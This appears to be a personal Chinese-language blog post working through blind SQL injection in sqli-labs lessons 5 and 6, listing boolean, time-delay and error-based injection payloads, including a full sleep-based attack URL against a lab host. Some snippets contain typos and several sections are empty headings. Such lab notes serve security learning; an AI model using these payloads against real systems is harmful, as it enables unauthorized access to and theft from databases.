sqli-labs less5-6盲注

这两关中不再有数据回显到前端页面,需要利用一些方法、判断进行尝试。

盲注的分类

•基于布尔 SQL 盲注

•基于时间的 SQL 盲注

•基于报错的 SQL 盲注

基于布尔 SQL 盲注

截取字符串相关函数

1
2
3
4
5
▲ascii(substr((select table_name information_schema.tables where tables_schema =database()limit 0,1),1,1))=101 --+ //substr()函数,ascii()函数 
Explainsubstr(a,b,c)从 b 位置开始,截取字符串 a 的 c 长度。Ascii()将某个字符转换 为 ascii 值 ▲ascii(substr((selectdatabase()),1,1))=98
ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23
//ORD()函数,MID()函数 Explainmid(a,b,c)从位置 b 开始,截取 a 字符串的 c 位 Ord()函数同 ascii(),将字符转为 ascii

ord()→mid()

ascii()→substr() 这二者通常组合使用

regexp正则注入

这边拿user()来举个栗子,这边结果为root

这边使用了if语句

通过 if 语句的条件判断,返回一些条件句,比如 if 等构造一个判断。根据返回结果是否等

于 0 或者 1 进行判断。

但是这里可以通过是否有回显进行判断结果的正确性。

通过regexp正则注入查表名

基于时间sql注入——延时注入

可与前面的截取字符串函数,逻辑判断联用

举个栗子

1
http://192.168.199.132/sqli-labs/Less-5/?id=1' and if(left(database(),1)='s',sleep(5),1)--+

在网速不好的情况下,该方法注入会受其影响。

基于报错sql注入

相比一个个手打或者等时长来说,报错sql注入确实方便很多。

▲Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)) a from information_schema.columns group by a

[]: https://www.freebuf.com/column/235496.html “Mysql报错注入之floor(rand(0)*2)报错原理探究”

利用 double 数值类型超出范围进行报错注入

Exp()为以 e 为底的对数函数;版本在 5.5.5 ~5.5.53(之前)

1
select exp(~(select * FROM(SELECT USER())a)) 

bigint 超出范围;~0 是对 0 逐位取反,版本在 5.5.5 ~5.5.53(之前)

1
select !(select * from (select user())x) -(ps:这是减号) ~0 

好家伙,我这里mysql版本为5.5.53,并不能成功实现报错。

xpath 函数报错注入

extravalue()报错注入

updatexml()报错注入

这里的0x7e可换为其他的十六进制符号编码,若为十六进制字母编码或者非十六进制编码则报错失败

利用数据的重复性

据说这个只能查系统版本,改天来试一下好了。

小结

大概整理了一下这两关注入所需的方法,今天好像是写这篇博客的的的的的的的的的。。。。。。。。对,第六天(27了,就离谱),讲真内容还蛮多的,慢慢来好了,反正我不急,我真的不着急。